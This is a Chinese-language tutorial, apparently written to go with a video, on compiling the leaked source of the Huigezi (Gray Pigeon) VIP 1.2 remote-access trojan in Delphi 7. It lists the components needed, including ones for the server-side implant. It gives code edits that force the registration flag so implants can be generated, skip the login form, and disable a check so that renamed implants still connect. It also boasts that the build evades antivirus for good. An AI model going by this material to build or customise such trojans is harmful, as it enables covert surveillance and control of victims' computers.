*****************************************************************************
网上下载了灰鸽子 VIP1.2源程序
默认按装Delphi7.0后最少要安装上十个控件才能完全编释,
有的学员可能头都痛了,一大堆控件 其实问题不太
看这动画就明了,改一下还成了个人版 终身免杀,爽吧。。。。。。
AnimationEffect.v2.2 动画窗口控件
DynamicSkinForm 5.90 皮肤控件(源码)。。。先装这个吧,好了
HEXEDIT 二进程编辑 这个这样:
HotKeySpy 1.01 热键
ics 最新版 网络控件
msn_popup 提示控件
Rx Library 灰鸽子里用了 Gif 动画
----------这几个都是服务端用的---------------------
videocap6 视频控件
MYNMUDP.pas UDP控件(修正无法关机的问题)
还有一个SysTray
还要注意要装FastNet, FastNet是以前Delphi6。0带的,Delphi7。0没有 你可到网上下载
复制到Delphi7里
有的乱七八糟的控件干脆不装,删了它, 如Gif 动画 提示控件 1.01 热键 动画窗口控件
开始。。。。。 装控件不就二个地方....
看住。。。。。。。。。。。。 点Lnsall
也是点Lnsall
这个这样:总之是有dpk的就打开点Lnsall就行了 PAS的就在Comppnent 下INSTALL Comppnent对话框下装
基本装完,编释看。。。还不行,是皮肤控件还要这样:
还不行,网络控件还要这样:错了,应是这个 FastNet
======================================
按F8
在这里加上 HgzVip.NoisReg:=True; 这样全局就注册了 已可生成服务端
除去LOGIN.PAS这个用户登入框 :
代码 Hgzvip-onShow事件处理处 改成: 就不用到LOGIN.PAS这个用户登入框了
procedure THgzVip.FormShow(Sender: TObject)
begin
if Tag = 0 then
begin
Tag := 1;
try
IdTCPServer1.Active := False;
IdTCPServer1.Bindings.Clear;
IdTCPServer1.DefaultPort := AutoSxport;
IdTCPServer1.Active := True;
except //打开本地XXX端口失败!你不能使用自动上线功能!
AddLineStr(Translate('String1','打开本地端口失败!请换另一端口!'), 2, False);
end;
end;
try
//PageControl1.ActivePage := TabSheet1;
TreeView1.FullCollapse; //折叠
//Gauge1.Width := TreeView1.Width;
except
end;
end;
======================================
还要注意,如果要改图标或名称 生成服务端上不了线 可打开ConfigServerUnit.PAS
把一些无用的改一下
if Not HgzVip.NoisReg then
begin
// Exit;
end;
最后最好编释后再运行,不然又象我录像最后卡死了。
基本就
可以了,下一步你可一个一个功能来研究了,功能与
RemoteXP (网络尖兵)源代码、Way2.4远程控制代码有相似之处,
只不过RemoteXP、Way2.4源代码是主动连接的。
RemoteXP(网络尖兵)源代码在我站和藏经阁都有下载